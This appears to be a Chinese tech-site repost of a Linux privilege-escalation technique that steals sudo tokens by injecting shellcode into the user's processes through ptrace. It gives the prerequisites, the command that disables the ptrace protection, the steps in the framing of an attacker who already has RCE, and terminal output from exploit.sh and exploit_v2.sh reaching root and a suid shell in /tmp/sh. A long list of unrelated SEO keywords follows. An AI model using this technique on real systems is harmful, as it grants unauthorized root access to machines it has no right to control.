linux中如何利用sudo token实现提权
发表于:2026-11-04 作者:千家信息网编辑
千家信息网最后更新 2026年11月04日,小编给大家分享一下linux中如何利用sudo token实现提权,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!如何利用系统中的漏洞?$sudo whatever[sudo]pass
千家信息网最后更新 2026年11月04日linux中如何利用sudo token实现提权
小编给大家分享一下linux中如何利用sudo token实现提权,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!
如何利用系统中的漏洞?
$sudo whatever[sudo]password for user: # Press+c since you don't have the password. # This creates an invalidsudo tokens.$ sh exploit.sh....wait 1 seconds$sudo -i # no password required :)# iduid=0(root)gid=0(root) groups=0(root)
实现要求
1、 完全启用Ptrace(/proc/sys/kernel/yama/ptrace_scope == 0);
2、 当前用户必须开启一个拥有有效sudo令牌并且相同uid的活动进程;
注:默认密码的超时时间为15分钟,如果你在15分钟内使用sudo两次,系统就不会要求你再输入用户的sudo密码了。
工作机制
项目目录中的Exploit.sh会向当前用户的所有进程注入Shell代码,并使用它们的sudo令牌来验证我们自己的sudo口令。仅需三行Shell代码,一切皆有可能。
使用样例
假设,你拿到了一个RCE,而且没有用户密码,但目标用户使用了sudo,那么你就可以通过窃取他的sudo令牌来实现提权啦!
如何在实验环境中模拟?
#echo 0 > /proc/sys/kernel/yama/ptrace_scope# #Don't worry this is not persistent accross reboot
打开两个终端窗口:
1、 其中一个执行sudo命令,然后输入正确的用户密(sudo ls);
2、 另一个按照上述方法执行漏洞利用代码;
使用exploit_v2.sh在/tmp/sh中创建一个suid sh
如果exploit_v1无法成功的话,大家可以尝试一下exploit_v2.sh:
$./exploit_v2.shCurrentprocess : 2441chmod:changing permissions of 'activate_sudo_token': Operation not permittedInjectingprocess 1721 -> bashInjectingprocess 2433 -> bashcat:/proc/2446/comm: No such file or directoryInjectingprocess 2446 ->$/tmp/sh -p# iduid=1001(test)gid=1001(test) euid=0(root) egid=0(root) groups=0(root),1001(test)
看完了这篇文章,相信你对"linux中如何利用sudo token实现提权"有了一定的了解,如果想了解更多相关知识,欢迎关注行业资讯频道,感谢各位的阅读!
用户
代码
令牌
密码
漏洞
篇文章
系统
进程
输入
有效
相同
成功
两个
仅需
口令
可以通过
命令
完了
方法
时间
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
上海喔噻互联网科技有限公司
深圳九邦互联网科技有限公司
互联网科技工作委员会毛军
金诺互联网科技
互联网公司 科技公司
平安科技 互联网
互联网科技股票
智慧科技互联网
成都狮子座互联网科技
湖南洣水互联网科技有限公司扣款
哈尔滨新华互联网科技学院
上海宁丞科技互联网
河南猎农互联网科技有限公司
阿大互联网科技有限公司
深圳市优智互联网科技有限公司
佛山市翊博互联网络科技有限公司
翼展科技 首家互联网医院
互联网在线教育科技创业
容联科技互联网电商
湖北辰鑫科技互联网
美国互联网科技巨头监管
以房互联网科技
银优互联网科技有限公司
美国互联网黑科技
中国最先进互联网科技公司
江苏南京365互联网科技
互联网科技实习生岗位职责
黑科技闪耀互联网之光
高科技互联网发展前景如何
卡尔迅互联网科技有限公司